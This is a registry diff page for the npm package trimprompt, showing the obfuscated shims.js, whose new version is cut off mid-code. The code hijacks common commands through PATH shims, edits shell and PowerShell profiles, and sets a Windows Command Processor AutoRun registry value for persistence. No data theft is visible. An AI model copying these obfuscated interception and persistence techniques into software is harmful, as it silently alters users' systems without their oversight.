trimprompt 1.0.17 → 1.0.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -0
- package/cache.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/index.html +110 -5
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x870ec9=a0_0xe760;(function(_0x55214e,_0x5ad90a){const _0x487ee2=a0_0xe760,_0x42281d=_0x55214e();while(!![]){try{const _0x90275a=parseInt(_0x487ee2(0x190))/0x1+-parseInt(_0x487ee2(0x15b))/0x2+-parseInt(_0x487ee2(0x187))/0x3+-parseInt(_0x487ee2(0x183))/0x4*(-parseInt(_0x487ee2(0x16b))/0x5)+parseInt(_0x487ee2(0x13f))/0x6+parseInt(_0x487ee2(0x193))/0x7*(parseInt(_0x487ee2(0x142))/0x8)+-parseInt(_0x487ee2(0x18e))/0x9;if(_0x90275a===_0x5ad90a)break;else _0x42281d['push'](_0x42281d['shift']());}catch(_0xa6d329){_0x42281d['push'](_0x42281d['shift']());}}}(a0_0x22af,0x41d64));var __createBinding=this&&this[a0_0x870ec9(0x136)]||(Object[a0_0x870ec9(0x166)]?function(_0x41b25a,_0x184a71,_0x2ebc06,_0xe03afe){const _0x36e094=a0_0x870ec9;if(_0xe03afe===undefined)_0xe03afe=_0x2ebc06;var _0x3af931=Object[_0x36e094(0x17c)](_0x184a71,_0x2ebc06);(!_0x3af931||(_0x36e094(0x13e)in _0x3af931?!_0x184a71['__esModule']:_0x3af931[_0x36e094(0x144)]||_0x3af931['configurable']))&&(_0x3af931={'enumerable':!![],'get':function(){return _0x184a71[_0x2ebc06];}}),Object[_0x36e094(0x180)](_0x41b25a,_0xe03afe,_0x3af931);}:function(_0x4e16fb,_0x12ec29,_0x33dcb9,_0x642841){if(_0x642841===undefined)_0x642841=_0x33dcb9;_0x4e16fb[_0x642841]=_0x12ec29[_0x33dcb9];}),__setModuleDefault=this&&this[a0_0x870ec9(0x160)]||(Object[a0_0x870ec9(0x166)]?function(_0x4de3f8,_0x33bb1c){Object['defineProperty'](_0x4de3f8,'default',{'enumerable':!![],'value':_0x33bb1c});}:function(_0x583b3f,_0x48d297){const _0x163b05=a0_0x870ec9;_0x583b3f[_0x163b05(0x132)]=_0x48d297;}),__importStar=this&&this[a0_0x870ec9(0x143)]||(function(){var _0x2fd0af=function(_0xbfab57){const _0x443627=a0_0xe760;return _0x2fd0af=Object[_0x443627(0x173)]||function(_0x153c86){const _0x5a7630=_0x443627;var _0x19cb87=[];for(var _0x48a92e in _0x153c86)if(Object['prototype'][_0x5a7630(0x172)][_0x5a7630(0x15c)](_0x153c86,_0x48a92e))_0x19cb87[_0x19cb87['length']]=_0x48a92e;return _0x19cb87;},_0x2fd0af(_0xbfab57);};return function(_0x322a27){const _0x101bc8=a0_0xe760;if(_0x322a27&&_0x322a27[_0x101bc8(0x134)])return _0x322a27;var _0x51dd2f={};if(_0x322a27!=null){for(var _0x2210ba=_0x2fd0af(_0x322a27),_0x246da6=0x0;_0x246da6<_0x2210ba[_0x101bc8(0x14f)];_0x246da6++)if(_0x2210ba[_0x246da6]!==_0x101bc8(0x132))__createBinding(_0x51dd2f,_0x322a27,_0x2210ba[_0x246da6]);}return __setModuleDefault(_0x51dd2f,_0x322a27),_0x51dd2f;};}());Object['defineProperty'](exports,a0_0x870ec9(0x134),{'value':!![]}),exports[a0_0x870ec9(0x175)]=installShims,exports[a0_0x870ec9(0x1a6)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x870ec9(0x171))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x870ec9(0x186),a0_0x870ec9(0x188),'read',a0_0x870ec9(0x1a5),'rg','ruff','git','gh',a0_0x870ec9(0x15f),'cargo',a0_0x870ec9(0x184),a0_0x870ec9(0x165),a0_0x870ec9(0x140),a0_0x870ec9(0x162),a0_0x870ec9(0x18f),'docker','pytest',a0_0x870ec9(0x139),a0_0x870ec9(0x151),'go',a0_0x870ec9(0x152)],PROFILE_MARKER=a0_0x870ec9(0x14d);function a0_0xe760(_0x107f54,_0x3330bd){const _0x22afa3=a0_0x22af();return a0_0xe760=function(_0xe760c7,_0x411fcf){_0xe760c7=_0xe760c7-0x131;let _0x5c7b80=_0x22afa3[_0xe760c7];return _0x5c7b80;},a0_0xe760(_0x107f54,_0x3330bd);}function getExecSync(){const _0x24d06f=a0_0x870ec9;return require(_0x24d06f(0x18d))['execSync'];}function a0_0x22af(){const _0x265e82=['hasOwnProperty','getOwnPropertyNames','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','installShims','split','APPDATA','\x20commands.\x0a\x0a','trim.cmd','\x22\x20set\x20\x22PATH=','powershell','getOwnPropertyDescriptor','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','755','defineProperty','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',';\x22\x20+\x20$env:PATH\x0a','32MZjmQq','npm',':$PATH\x22\x0a','tree','1384485ZXgixw','cat','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','env',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','.trimprompt','child_process','2214063lYcusj','kubectl','457084CquylD','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','unlinkSync','66955TBiDYw','pwsh','powershell\x20-NoProfile\x20-Command\x20\x22','Remove-ItemProperty\x20-Path\x20\x27','.zshrc',':$PATH\x22','\x20&\x20','execFileSync','readdirSync','dirname','.bash_profile','platform','-Command','@echo\x20off','replace','push','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',';%PATH%\x22','grep','uninstallShims','-NoProfile','existsSync','default','toLowerCase','__esModule','ignore','__createBinding','\x0a$env:PATH\x20=\x20\x22','pipe','pip','powershell.exe','rmdirSync','message','trim','get','2615076OItyfG','npx','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','376YUMfNX','__importStar','writable','homedir','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','filter','export\x20PATH=\x22','\x20@args\x20}\x20else\x20{\x20&\x20','chmodSync','.ps1','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','TrimPrompt\x20Shims\x20PATH','Failed\x20to\x20install\x20shims:\x20','length','\x20\x20trim\x20','pip3','find','.profile','join','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','win32','\x20\x22$@\x22;\x20fi\x0a','.bashrc','utf8','readFileSync','933446rRzxnJ','call','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20%*','glab','__setModuleDefault','\x27,\x20\x27User\x27)','yarn','$PROFILE.CurrentUserAllHosts','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','pnpm','create','writeFileSync','map','Failed\x20to\x20uninstall\x20shims:\x20','if\x20exist\x20\x22','63380GfIjha','appendFileSync','\x0a#\x20','includes','mkdirSync','some','path'];a0_0x22af=function(){return _0x265e82;};return a0_0x22af();}function getExecFileSync(){const _0x358e2b=a0_0x870ec9;return require(_0x358e2b(0x18d))[_0x358e2b(0x19a)];}function ensureProfileContains(_0x2b2084,_0xe1eec6,_0x3e05a7){const _0x5f4dfa=a0_0x870ec9;try{const _0x114ef0=path[_0x5f4dfa(0x19c)](_0x2b2084);!fs[_0x5f4dfa(0x131)](_0x114ef0)&&fs[_0x5f4dfa(0x16f)](_0x114ef0,{'recursive':!![]});if(fs[_0x5f4dfa(0x131)](_0x2b2084)){const _0x3d1704=fs[_0x5f4dfa(0x15a)](_0x2b2084,_0x5f4dfa(0x159));if(_0x3d1704['includes'](_0xe1eec6))return;fs[_0x5f4dfa(0x16c)](_0x2b2084,_0x3e05a7,_0x5f4dfa(0x159));}else fs[_0x5f4dfa(0x167)](_0x2b2084,_0x3e05a7,'utf8');}catch{}}function removeProfileBlock(_0x3e12bb,_0x460a71){const _0xb02d26=a0_0x870ec9;try{if(!fs[_0xb02d26(0x131)](_0x3e12bb))return;const _0x5f1982=fs['readFileSync'](_0x3e12bb,_0xb02d26(0x159));if(!_0x5f1982['includes'](_0x460a71))return;const _0xcbe420=_0x5f1982[_0xb02d26(0x176)]('\x0a'),_0x2b195a=[];let _0x3b396f=![];for(let _0x38d467=0x0;_0x38d467<_0xcbe420[_0xb02d26(0x14f)];_0x38d467++){if(_0xcbe420[_0x38d467][_0xb02d26(0x16e)](_0x460a71)){_0x3b396f=!![];continue;}if(_0x3b396f){_0x3b396f=![];continue;}_0x2b195a[_0xb02d26(0x1a2)](_0xcbe420[_0x38d467]);}const _0x184e16=_0x2b195a[_0xb02d26(0x154)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0xb02d26(0x167)](_0x3e12bb,_0x184e16,'utf8');}catch{}}function collectPowerShellProfiles(){const _0x296abc=a0_0x870ec9,_0x28f251=getExecSync(),_0x3a6bef=[],_0x2c8b45=[[_0x296abc(0x17b),'$PROFILE.CurrentUserCurrentHost'],[_0x296abc(0x17b),_0x296abc(0x163)]];try{_0x28f251(_0x296abc(0x1a3),{'stdio':_0x296abc(0x135)}),_0x2c8b45[_0x296abc(0x1a2)]([_0x296abc(0x194),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x3d43be,_0x2dbccf]of _0x2c8b45){try{const _0x303c56=_0x28f251(_0x3d43be+'\x20-NoProfile\x20-Command\x20\x22'+_0x2dbccf+'\x22',{'encoding':_0x296abc(0x159)})[_0x296abc(0x13d)]();_0x303c56&&!_0x3a6bef[_0x296abc(0x170)](_0x5acc45=>_0x5acc45[_0x296abc(0x133)]()===_0x303c56[_0x296abc(0x133)]())&&_0x3a6bef[_0x296abc(0x1a2)](_0x303c56);}catch{}}return _0x3a6bef;}function getBashProfilesWindows(){const _0xfcf9c=a0_0x870ec9,_0xc27a7=os[_0xfcf9c(0x145)]();return['.bashrc',_0xfcf9c(0x19d)][_0xfcf9c(0x168)](_0x325a48=>path[_0xfcf9c(0x154)](_0xc27a7,_0x325a48));}function getBroadcastCommand(){const _0x346bb3=a0_0x870ec9;return _0x346bb3(0x155);}function installShims(){const _0x23b424=a0_0x870ec9,_0x1cb80e=path[_0x23b424(0x154)](os[_0x23b424(0x145)](),_0x23b424(0x18c),'shims');try{!fs[_0x23b424(0x131)](_0x1cb80e)&&fs['mkdirSync'](_0x1cb80e,{'recursive':!![]});const _0x1114cb=os[_0x23b424(0x19e)]()===_0x23b424(0x156);for(const _0x24cb39 of SHIMMED_COMMANDS){if(_0x1114cb){const _0xb61c1b=path['join'](_0x1cb80e,_0x24cb39+'.cmd'),_0x278381=process[_0x23b424(0x18a)][_0x23b424(0x177)]?path[_0x23b424(0x154)](process['env'][_0x23b424(0x177)],_0x23b424(0x184)):'',_0x4ae98e=_0x278381?'if\x20exist\x20\x22'+path[_0x23b424(0x154)](_0x278381,_0x23b424(0x179))+'\x22':_0x23b424(0x17d),_0x24a0ce=[_0x23b424(0x1a0),_0x4ae98e+'\x20(',_0x23b424(0x150)+_0x24cb39+'\x20%*',')\x20else\x20(','\x20\x20set\x20\x22PATH=%PATH:'+_0x1cb80e+';=%\x22','\x20\x20'+_0x24cb39+_0x23b424(0x15e),')']['join']('\x0d\x0a')+'\x0d\x0a';fs[_0x23b424(0x167)](_0xb61c1b,_0x24a0ce,_0x23b424(0x159));const _0x35269e=path[_0x23b424(0x154)](_0x1cb80e,_0x24cb39+_0x23b424(0x14b)),_0xc04b94='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x24cb39+_0x23b424(0x149)+_0x24cb39+'\x20@args\x20}\x0a';fs[_0x23b424(0x167)](_0x35269e,_0xc04b94,_0x23b424(0x159));const _0x11cc02=path[_0x23b424(0x154)](_0x1cb80e,_0x24cb39),_0x5e20fe=_0x1cb80e[_0x23b424(0x1a1)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x1825e5,_0x164422)=>'/'+_0x164422['toLowerCase']()),_0x5522bf=_0x23b424(0x174)+_0x24cb39+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x5e20fe+_0x23b424(0x18b)+_0x24cb39+_0x23b424(0x157);fs['writeFileSync'](_0x11cc02,_0x5522bf,_0x23b424(0x159));}else{const _0x2ae4fe=path['join'](_0x1cb80e,_0x24cb39),_0x374586=_0x23b424(0x174)+_0x24cb39+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x24cb39+_0x23b424(0x157);fs[_0x23b424(0x167)](_0x2ae4fe,_0x374586,_0x23b424(0x159)),fs[_0x23b424(0x14a)](_0x2ae4fe,_0x23b424(0x17f));}}let _0x1de45d=![],_0x28ef0d='';if(_0x1114cb)try{const _0x4b30cf=getExecSync(),_0x587bc2='\x0a#\x20'+PROFILE_MARKER+_0x23b424(0x137)+_0x1cb80e+_0x23b424(0x182),_0x1bfe2f=collectPowerShellProfiles();for(const _0x3f7ecb of _0x1bfe2f){ensureProfileContains(_0x3f7ecb,_0x1cb80e,_0x587bc2);}try{const _0x54d733=getExecFileSync(),_0x2df779=_0x23b424(0x16a)+_0x1cb80e+_0x23b424(0x17a)+_0x1cb80e+_0x23b424(0x1a4),_0x37891f=_0x23b424(0x191);let _0x8fd7='';try{const _0x85471=_0x23b424(0x164)+_0x37891f+_0x23b424(0x181);_0x8fd7=_0x54d733(_0x23b424(0x13a),[_0x23b424(0x1a7),_0x23b424(0x19f),_0x85471],{'encoding':'utf8','stdio':[_0x23b424(0x138),'pipe',_0x23b424(0x135)]})[_0x23b424(0x13d)]();}catch{}if(!_0x8fd7['includes'](_0x1cb80e)){const _0x268b9e=_0x8fd7?_0x8fd7+'\x20&\x20'+_0x2df779:_0x2df779,_0x19ea3c='New-Item\x20-Path\x20\x27'+_0x37891f+_0x23b424(0x141)+_0x37891f+_0x23b424(0x15d)+_0x268b9e+'\x27';_0x54d733(_0x23b424(0x13a),[_0x23b424(0x1a7),_0x23b424(0x19f),_0x19ea3c],{'stdio':'ignore'});}}catch{}try{const _0x528736=_0x1cb80e[_0x23b424(0x1a1)](/\\/g,'/')[_0x23b424(0x1a1)](/^([A-Za-z]):/,(_0x52b752,_0x418abc)=>'/'+_0x418abc[_0x23b424(0x133)]()),_0x16f8ce=_0x23b424(0x16d)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0x528736+_0x23b424(0x185),_0x48c6c5=getBashProfilesWindows();let _0x376e51=![];for(const _0x1046bc of _0x48c6c5){fs[_0x23b424(0x131)](_0x1046bc)&&(ensureProfileContains(_0x1046bc,_0x528736,_0x16f8ce),_0x376e51=!![]);}!_0x376e51&&ensureProfileContains(_0x48c6c5[0x0],_0x528736,_0x16f8ce);}catch{}const _0x4bb40b=_0x23b424(0x189),_0x30beca=_0x4b30cf(_0x23b424(0x195)+_0x4bb40b+'\x22',{'encoding':_0x23b424(0x159),'stdio':[_0x23b424(0x138),_0x23b424(0x138),'ignore']})[_0x23b424(0x13d)]();if(!_0x30beca[_0x23b424(0x16e)](_0x1cb80e)){const _0x2b387a=_0x1cb80e+';'+_0x30beca,_0x9aedb=_0x2b387a[_0x23b424(0x1a1)](/'/g,'\x27\x27'),_0x161025='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x9aedb+'\x27,\x20\x27User\x27)';_0x4b30cf(_0x23b424(0x195)+_0x161025+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x23b424(0x135)});}const _0xdd6a05=path[_0x23b424(0x154)](process[_0x23b424(0x18a)][_0x23b424(0x177)]||'','npm','trim.ps1');if(fs[_0x23b424(0x131)](_0xdd6a05))try{fs[_0x23b424(0x192)](_0xdd6a05);}catch{}_0x1de45d=!![];}catch(_0xb09b89){_0x28ef0d='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x1cb80e;}else try{const _0x450607=_0x23b424(0x148)+_0x1cb80e+':$PATH\x22\x0a',_0x45187d=os[_0x23b424(0x145)](),_0x3e00a8=[_0x23b424(0x158),_0x23b424(0x197),_0x23b424(0x19d),_0x23b424(0x153)];let _0x209447=![];for(const _0x328263 of _0x3e00a8){const _0x1bf547=path['join'](_0x45187d,_0x328263);fs['existsSync'](_0x1bf547)&&(ensureProfileContains(_0x1bf547,_0x1cb80e,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x450607),_0x209447=!![]);}if(!_0x209447){const _0x4cd083=path[_0x23b424(0x154)](_0x45187d,_0x23b424(0x158));ensureProfileContains(_0x4cd083,_0x1cb80e,_0x23b424(0x16d)+PROFILE_MARKER+'\x0a'+_0x450607);}_0x1de45d=!![];}catch(_0x305686){_0x28ef0d=_0x23b424(0x17e)+_0x1cb80e+_0x23b424(0x198);}const _0x4aed0e='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x23b424(0x14f)]+_0x23b424(0x178),_0x1e2e16=_0x1de45d?_0x4aed0e+_0x23b424(0x14c):_0x4aed0e+_0x23b424(0x146)+_0x28ef0d;return{'success':!![],'pathDir':_0x1cb80e,'message':_0x1e2e16};}catch(_0x15ec90){return{'success':![],'pathDir':_0x1cb80e,'message':_0x23b424(0x14e)+_0x15ec90[_0x23b424(0x13c)]};}}function uninstallShims(){const _0x1e4da0=a0_0x870ec9,_0x175269=path['join'](os[_0x1e4da0(0x145)](),_0x1e4da0(0x18c),'shims'),_0x1370d3=os[_0x1e4da0(0x19e)]()==='win32';try{if(_0x1370d3){const _0x20a48e=getExecSync();try{const _0x24cbde=getExecFileSync(),_0x32cc02='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x5499d3=_0x1e4da0(0x164)+_0x32cc02+_0x1e4da0(0x181),_0x5fcaf4=_0x24cbde(_0x1e4da0(0x13a),[_0x1e4da0(0x1a7),_0x1e4da0(0x19f),_0x5499d3],{'encoding':_0x1e4da0(0x159),'stdio':[_0x1e4da0(0x138),_0x1e4da0(0x138),_0x1e4da0(0x135)]})[_0x1e4da0(0x13d)]();if(_0x5fcaf4[_0x1e4da0(0x16e)](_0x175269)){const _0x21d402=_0x5fcaf4[_0x1e4da0(0x176)](_0x1e4da0(0x199))[_0x1e4da0(0x147)](_0x39b101=>!_0x39b101[_0x1e4da0(0x16e)](_0x175269));if(_0x21d402[_0x1e4da0(0x14f)]===0x0){const _0x7f14c7=_0x1e4da0(0x196)+_0x32cc02+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue';_0x24cbde('powershell.exe',[_0x1e4da0(0x1a7),_0x1e4da0(0x19f),_0x7f14c7],{'stdio':_0x1e4da0(0x135)});}else{const _0x4480ef=_0x21d402[_0x1e4da0(0x154)]('\x20&\x20'),_0x48d286='Set-ItemProperty\x20-Path\x20\x27'+_0x32cc02+_0x1e4da0(0x15d)+_0x4480ef+'\x27';_0x24cbde(_0x1e4da0(0x13a),[_0x1e4da0(0x1a7),'-Command',_0x48d286],{'stdio':_0x1e4da0(0x135)});}}}catch{}try{const _0x38afc9=collectPowerShellProfiles();for(const _0x255f38 of _0x38afc9){removeProfileBlock(_0x255f38,PROFILE_MARKER);}}catch{}try{for(const _0x41db72 of getBashProfilesWindows()){removeProfileBlock(_0x41db72,PROFILE_MARKER);}}catch{}try{const _0x63e178=_0x1e4da0(0x189),_0x20a7e8=_0x20a48e(_0x1e4da0(0x195)+_0x63e178+'\x22',{'encoding':'utf8','stdio':[_0x1e4da0(0x138),_0x1e4da0(0x138),_0x1e4da0(0x135)]})[_0x1e4da0(0x13d)]();if(_0x20a7e8[_0x1e4da0(0x16e)](_0x175269)){const _0x2e1f82=_0x20a7e8['split'](';')['filter'](_0x577a5c=>_0x577a5c[_0x1e4da0(0x13d)]()['toLowerCase']()!==_0x175269[_0x1e4da0(0x133)]())[_0x1e4da0(0x154)](';'),_0x36a5ea=_0x2e1f82[_0x1e4da0(0x1a1)](/'/g,'\x27\x27'),_0x51edae='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x36a5ea+_0x1e4da0(0x161);_0x20a48e(_0x1e4da0(0x195)+_0x51edae+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x1e4da0(0x135)});}}catch{}}else{const _0x508673=os['homedir'](),_0x17b481=['.bashrc',_0x1e4da0(0x197),_0x1e4da0(0x19d),_0x1e4da0(0x153)];for(const _0x5f17b1 of _0x17b481){removeProfileBlock(path[_0x1e4da0(0x154)](_0x508673,_0x5f17b1),PROFILE_MARKER);}}if(fs['existsSync'](_0x175269)){const _0x550af6=fs[_0x1e4da0(0x19b)](_0x175269);for(const _0x151eae of _0x550af6){fs[_0x1e4da0(0x192)](path[_0x1e4da0(0x154)](_0x175269,_0x151eae));}fs[_0x1e4da0(0x13b)](_0x175269);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x112008){return{'success':![],'message':_0x1e4da0(0x169)+_0x112008[_0x1e4da0(0x13c)]};}}
|
|
1
|
+
'use strict';const a0_0x34de10=a0_0x672b;function a0_0x3962(){const _0x5107a9=['some','TrimPrompt\x20Shims\x20PATH','default','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','uninstallShims','pip3','@echo\x20off','readdirSync','shims','4354aOfqaw','.zshrc','New-Item\x20-Path\x20\x27','tree','length','prototype','\x20\x20trim\x20','trim.cmd','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','-NoProfile','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','\x20@args\x20}\x20else\x20{\x20&\x20','toLowerCase','\x27,\x20\x27User\x27)','if\x20exist\x20\x22','$PROFILE.CurrentUserCurrentHost','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','__createBinding','\x0a#\x20','\x20&\x20','message','2822082MzgGnL','chmodSync','getOwnPropertyNames','readFileSync','dirname','Failed\x20to\x20install\x20shims:\x20','\x20\x22$@\x22;\x20fi\x0a','homedir','$PROFILE.CurrentUserAllHosts','unlinkSync','read','create','__importStar','-Command',';=%\x22','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','4eSswCu','existsSync','rmdirSync','git','119779yHwDIo','yarn','filter','split','call','powershell.exe','replace','includes',';%PATH%\x22','.profile','\x20@args\x20}\x0a','\x20\x20set\x20\x22PATH=%PATH:','mkdirSync','join','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22',':$PATH\x22\x0a','writable','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','npx','powershell','.cmd','installShims','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','powershell\x20-NoProfile\x20-Command\x20\x22','Failed\x20to\x20uninstall\x20shims:\x20','24cUvXSL','51057890wnnGSz','win32',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','792yDCQGZ','utf8','.trimprompt','getOwnPropertyDescriptor','map','pytest','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20commands.\x0a\x0a','ignore','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','__esModule','755','writeFileSync','docker','\x20-NoProfile\x20-Command\x20\x22','.bash_profile','push','pipe','2270097aDoTsG','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','ruff','.ps1','pwsh','export\x20PATH=\x22','3424465BzKznS','defineProperty','execFileSync','.bashrc','trim','cat','Remove-ItemProperty\x20-Path\x20\x27','pip','14JLwyzM','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','npm','__setModuleDefault','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x0aexport\x20PATH=\x22','5xGdCzE','execSync','Set-ItemProperty\x20-Path\x20\x27','70220cUYedv','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','\x20%*','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','1864qwUlZJ'];a0_0x3962=function(){return _0x5107a9;};return a0_0x3962();}(function(_0x493785,_0x59808a){const _0x24f908=a0_0x672b,_0x598f12=_0x493785();while(!![]){try{const _0x43d361=-parseInt(_0x24f908(0xda))/0x1*(parseInt(_0x24f908(0x99))/0x2)+parseInt(_0x24f908(0x8b))/0x3*(-parseInt(_0x24f908(0xd6))/0x4)+parseInt(_0x24f908(0x9f))/0x5*(-parseInt(_0x24f908(0xc6))/0x6)+-parseInt(_0x24f908(0xb0))/0x7*(parseInt(_0x24f908(0xa6))/0x8)+-parseInt(_0x24f908(0xf7))/0x9*(parseInt(_0x24f908(0xa2))/0xa)+parseInt(_0x24f908(0x91))/0xb*(-parseInt(_0x24f908(0xf3))/0xc)+parseInt(_0x24f908(0xf4))/0xd;if(_0x43d361===_0x59808a)break;else _0x598f12['push'](_0x598f12['shift']());}catch(_0x50c1de){_0x598f12['push'](_0x598f12['shift']());}}}(a0_0x3962,0x7457b));var __createBinding=this&&this[a0_0x34de10(0xc2)]||(Object[a0_0x34de10(0xd1)]?function(_0x2b380a,_0x229553,_0x402b43,_0x4a2f06){const _0x31dc97=a0_0x34de10;if(_0x4a2f06===undefined)_0x4a2f06=_0x402b43;var _0x129e09=Object[_0x31dc97(0xfa)](_0x229553,_0x402b43);(!_0x129e09||('get'in _0x129e09?!_0x229553[_0x31dc97(0x101)]:_0x129e09[_0x31dc97(0xea)]||_0x129e09['configurable']))&&(_0x129e09={'enumerable':!![],'get':function(){return 